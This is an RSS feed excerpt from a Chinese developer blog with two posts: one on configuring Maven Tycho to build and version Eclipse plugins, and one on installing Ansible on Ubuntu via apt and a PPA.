      <title>eclipse插件开发-tycho使用</title>
      <link>http://blog.leaver.me/2016/05/21/eclipse%E6%8F%92%E4%BB%B6%E5%BC%80%E5%8F%91-tycho%E4%BD%BF%E7%94%A8/</link>
      <pubDate>Sat, 21 May 2016 18:55:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/05/21/eclipse%E6%8F%92%E4%BB%B6%E5%BC%80%E5%8F%91-tycho%E4%BD%BF%E7%94%A8/</guid>
      <description>&lt;p&gt;不说废话，直接上。本文主要包括tycho的使用，版本号的自动更新。&lt;/p&gt;
&lt;p&gt;eclipse插件开发中，依赖的管理是个问题。如果采用常规的搞个lib目录，然后加到MF文件中。一旦依赖越来越多。或者要更换版本号就变得非常麻烦。所以要用到tycho&lt;/p&gt;
&lt;p&gt;首先说明一下目录结构。一个parent的maven工程，一个plugin工程，。两个features。一个是deps的。一个是plugin的，这个依赖deps是独立的mvn项目。可以先不用管。一个deps依赖工程（这个依赖工程独立）。
在主pom下。&lt;/p&gt;
&lt;p&gt;步骤如下。&lt;/p&gt;
&lt;p&gt;关于依赖部分&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;新建一个普通的mvn工程,比如deps。打包类型写成&lt;code&gt;&amp;lt;packaging&amp;gt;bundle&amp;lt;/packaging&amp;gt;&lt;/code&gt;,同时在pom.xml中添加build部分&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;build&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;plugins&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;plugin&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;groupId&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;org&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;apache&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;felix&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;groupId&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;artifactId&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;maven&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bundle&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;plugin&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;artifactId&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;version&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;3.0&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;version&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;extensions&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;extensions&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;configuration&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;niceManifest&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;niceManifest&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;manifestLocation&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;META&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;INF&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;manifestLocation&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;instructions&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Bundle&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SymbolicName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;$&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;project&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;artifactId&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Bundle&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SymbolicName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Embed&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Dependency&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;*&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Embed&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Dependency&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Embed&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Transitive&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Embed&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Transitive&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Embed&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;ne&#34;&gt;Directory&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lib&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Embed&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;ne&#34;&gt;Directory&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Bundle&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ClassPath&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;maven&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dependencies&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Bundle&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ClassPath&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_exportcontents&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;*&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_exportcontents&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_failok&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_failok&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_nouses&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_nouses&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Import&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Package&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Import&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Package&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;instructions&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;configuration&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;plugin&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;plugins&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;build&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后正常添加一些依赖到这个工程中。然后执行一下mvn clean install ，你就会发现本地mvn仓库生成了一个jar包，这个jar里直接打包了所有的jar&lt;/p&gt;
&lt;p&gt;关于插件部分&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;新建一个类型为pom的parent工程。用来包含下面的子工程，通过&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;modules&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&amp;lt;module&amp;gt;xxx.plugin.1&amp;lt;/module&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&amp;lt;module&amp;gt;xxx.plugin.2&amp;lt;/module&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;/modules&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;来管理。同时 添加如下的插件&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;properties&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&amp;lt;tycho.version&amp;gt;0.24.0&amp;lt;/tycho.version&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;/properties&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;build&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&amp;lt;plugins&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&amp;lt;plugin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;groupId&amp;gt;org.apache.maven.plugins&amp;lt;/groupId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;artifactId&amp;gt;maven-source-plugin&amp;lt;/artifactId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;executions&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&amp;lt;execution&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&amp;lt;id&amp;gt;attach-sources&amp;lt;/id&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&amp;lt;phase&amp;gt;none&amp;lt;/phase&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&amp;lt;/execution&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;/executions&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;version&amp;gt;2.4&amp;lt;/version&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&amp;lt;/plugin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&amp;lt;plugin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;groupId&amp;gt;org.eclipse.tycho&amp;lt;/groupId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;artifactId&amp;gt;tycho-maven-plugin&amp;lt;/artifactId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;version&amp;gt;${tycho.version}&amp;lt;/version&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;extensions&amp;gt;true&amp;lt;/extensions&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&amp;lt;/plugin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&amp;lt;plugin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;groupId&amp;gt;org.eclipse.tycho&amp;lt;/groupId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;artifactId&amp;gt;target-platform-configuration&amp;lt;/artifactId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;version&amp;gt;${tycho.version}&amp;lt;/version&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;configuration&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&amp;lt;pomDependencies&amp;gt;consider&amp;lt;/pomDependencies&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;/configuration&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&amp;lt;/plugin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&amp;lt;/plugins&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;/build&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;
&lt;p&gt;新建一个专门用来管理依赖的features，这样用户就可以安装这个features，来把所有的依赖安装到eclipse插件目录了。packing是eclipse-feature&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;新建一个plugin，新建一个这个插件对应的feature。然后通过右键转换成mvn工程。如图&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt=&#34;mvn转换&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/convert2mvn.png&#34;&gt;&lt;/p&gt;
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;新建一个repository项目，这个项目主要就是为了发布，生成发布相关的文件。新建Update set project。然后添加两个features。转换成mvn。其中packing改成eclipse-repository。
注意，这里的版本号必须对应。比如plugin.xml的版本是1.5.0.qualifier,那么对应pom中必须是1.5.0-SNAPSHOT&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;然后去根目录下执行一下mvn clean install，就会在repository目录生成需要部署的zip文件或者web site文件&lt;/p&gt;
&lt;p&gt;遗留问题是以后要是升级版本号怎么办。。不用担心。。主pom中添加&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;plugin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;lt;groupId&amp;gt;org.eclipse.tycho&amp;lt;/groupId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;lt;artifactId&amp;gt;tycho-versions-plugin&amp;lt;/artifactId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;lt;version&amp;gt;${tycho.version}&amp;lt;/version&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;/plugin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后 在根目录执行 &lt;code&gt;mvn -Dtycho.mode=maven org.eclipse.tycho:tycho-versions-plugin:set-version -DnewVersion=1.6.0&lt;/code&gt; 即可全部替换pom和plugin的版本号&lt;/p&gt;
&lt;p&gt;另外如果项目导入后在eclipse中报错，一般是因为缺少了上面说的那个依赖。可以直接复制到eclipse的plugin依赖目录。或者在mvn clean install之后，通过安装 依赖feature的方式解决。&lt;/p&gt;
&lt;p&gt;附上一些文档&lt;/p&gt;</description>
    </item>
    <item>
      <title>ansible简单使用</title>
      <link>http://blog.leaver.me/2016/03/25/ansible%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8/</link>
      <pubDate>Fri, 25 Mar 2016 19:51:07 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/03/25/ansible%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8/</guid>
      <description>&lt;p&gt;由于线下机器太多.有没有日志平台,所以查询日志比较麻烦.发现了ansible,按照官方文档(ubuntu)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo apt-get install software-properties-common
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo apt-add-repository ppa:ansible/ansible
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo apt-get update
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo apt-get install ansible
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;一步步执行,第二步执行的时候,可能会报错&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo: add-apt-repository: command not found
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这时候.先执行&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo add-apt-repository ppa:git-core/ppa
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo apt-get update
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后接着执行上面的第二步就行了..&lt;/p&gt;
